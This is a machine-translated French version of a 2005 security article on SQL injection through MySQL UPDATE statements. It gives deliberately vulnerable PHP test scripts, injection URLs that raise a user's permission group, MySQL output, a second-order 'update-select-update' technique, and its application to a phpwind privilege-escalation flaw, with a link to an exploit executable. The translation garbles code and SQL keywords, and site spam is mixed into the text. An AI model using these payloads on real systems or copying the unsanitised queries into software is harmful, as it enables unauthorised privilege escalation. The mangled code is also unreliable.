Auteur de cet article : SuperHei
Nature de l'article : Date de sortie originale : 2005-08-14
1. Téléchargement de la gestion du réseau de l'environnement de test dl.bitscn.com
Système d'exploitation : Windowsxp sp2
php : php 4.3.10
MySQL 4.1.9
apache 1.3.33
2. Tester la structure de la base de données
--database : `test`
--
-------------------------------------------------- --------
--
-- Structure du tableau `userinfo`
--Réseau de gestion de réseau www_bitscn_com
CREATE TABLE `userinfo` (
`groudid` varchar(12) NON NULL par défaut '1',
`user` varchar(12) NON NULL par défaut 'heige',
`pass` varchar(122) NON NULL par défaut '123456'
) TYPE=MyISAM;Network Manager chez vous u.bitsCN.com
--
-- Exporter les données dans la table `userinfo`
--
INSÉRER DANS LES VALEURS `userinfo` ('2', 'heige', '123456')
3. Mode test
1. La variable ne contient pas '' ou "" China Network Management Alliance bitsCN.com
<?php
//test1.phpMod1
$nom du serveur = "hôte local" ;
$dbusername = "root";
$dbmot de passe = "";
$nom_base de données = "test" ;
mysql_connect($servername,$dbusername,$dbpassword) ou mourir ("Échec de la connexion à la base de données"); Forum de gestion de réseau chinois bbs.bitsCN.com
$sql = "update userinfo set pass=$p Where user='heige'";/ / <--$P n'utilise pas de guillemets simples
$result = mysql_db_query($nomdb, $sql);
$userinfo = mysql_fetch_array($result);Forum de gestion de réseau en Chine bbs.bitsCN.com
echo "<p>Requête SQL :$sql<p>" ;
?>
Le script modifie uniquement la passe de user='heige'. Si groupid représente le niveau de permission de l'utilisateur, notre but est de modifier le groupid en construisant $p, alors nous soumettons :
http://127.0.0.1/test1.php?p=123456,groudid=1
Requête dans mysql :
mysql> sélectionnez * dans les informations utilisateur ;
+---------+-------+--------+
| groupe | passe utilisateur |
+---------+-------+--------+
1 | hauteur | 123456 |
+---------+-------+--------+
1 ligne dans l'ensemble (0,01 sec)
Le grudid de la hauteur de l'utilisateur est passé de 2 à 1 :)
Nous pouvons donc comprendre que l'injection sans '' ou "" mise à jour peut réussir. C'est notre mode 1.
2. Variables avec '' ou ""
<?php
//test2.php
$nom du serveur = "hôte local" ;
$dbusername = "root";
$dbmot de passe = "";
$nom_base de données = "test" ;
mysql_connect($servername,$dbusername,$dbpassword) ou die ("Échec de la connexion à la base de données");
$sql = "update userinfo set pass='$p' où user='heige'";//<--$P utilise des guillemets simples Forum de gestion de réseau chinois bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result);Forum de gestion de réseau bbs_bitsCN_com
echo "<p>Requête SQL :$sql<p>";
?>
Afin de fermer « Nous construisons $p devrait être 123456 », grudid='2Soumettre : China Network Management Forum bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = Dans le cas de on, 'devient' et la déclaration soumise devient :
Requête SQL : mettre à jour les informations utilisateur définies pass='123456',groudid='1' où user='heige'
requête mysql :
mysql> sélectionnez * dans les informations utilisateur ;
+---------+-------+----------+
| groupe | passe utilisateur |
+---------+-------+----------+
| 2 | hauteur | 123456',groridid='1 |
+---------+-------+----------+
1 ligne dans l'ensemble (0,00 sec) Le
groupe bitscn_com de gestion du réseau n'a pas été modifié. Et si la variable n'est pas injectée du tout alors qu'elle est « » ou « » ? Regardons plutôt le mode 2 :
<?php
//test3.phpMod2
$nom du serveur = "hôte local" ;
$dbusername = "root";
$dbmot de passe = "";
$nom_base de données = "test" ;
mysql_connect($servername,$dbusername,$dbpassword) ou die ("Échec de la connexion à la base de données");
$sql = "update userinfo set pass='$p' où user='heige'";//<--$P utilise des guillemets simples network managerujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //Les données de $p sont écrites dans la base de données
$sql= "sélectionnez le passage depuis userinfo où user='heige'";
$result = mysql_db_query($nomdb, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //Envoie la requête de passe à $userinfo[0]
$sql ="update userinfo set pass='$userinfo[0]' où user='heige' " ;
$result = mysql_db_query($nomdb, $sql);
mysql_fetch_array($result); //Mettre à nouveau à jour $userinfo[0] bitsCN.com
?>
Testons-le et soumettons-le à : gestion de réseau bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
Retour à la requête mysql : forum de gestion de réseau bbs_bitsCN_com
mysql> sélectionnez * dans userinfo ;
+---------+-------+--------+
| groupe | passe utilisateur |
+---------+-------+--------+
1 | hauteur | 123456 |
+---------+-------+--------+
1 ligne dans l'ensemble (0,00 sec)
HaHa~~ Grudid injecté et modifié avec succès à 1. Ceci est notre mode 2. Une brève description est la suivante :
mise à jour --> sélection --> mise à jour
4. Mode actuel
Mode 1 : Manquant
Mode 2 :
Analyse
de vulnérabilité d'élévation de privilèges de phpwind 2.0.2 et 3.31e
update (la variable d'injection profile.php est $proicon, l'instruction de mise à jour est icon='$userdb[icon]')
↓
sélectionner (jop.php)
↓
mise à jour (jop.php) Forum de gestion de réseau bbs_bitsCN_com
Exploit : http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. Remerciements
Un merci spécial à des amis comme Saiy pour leurs discussions et leur aide. Merci!!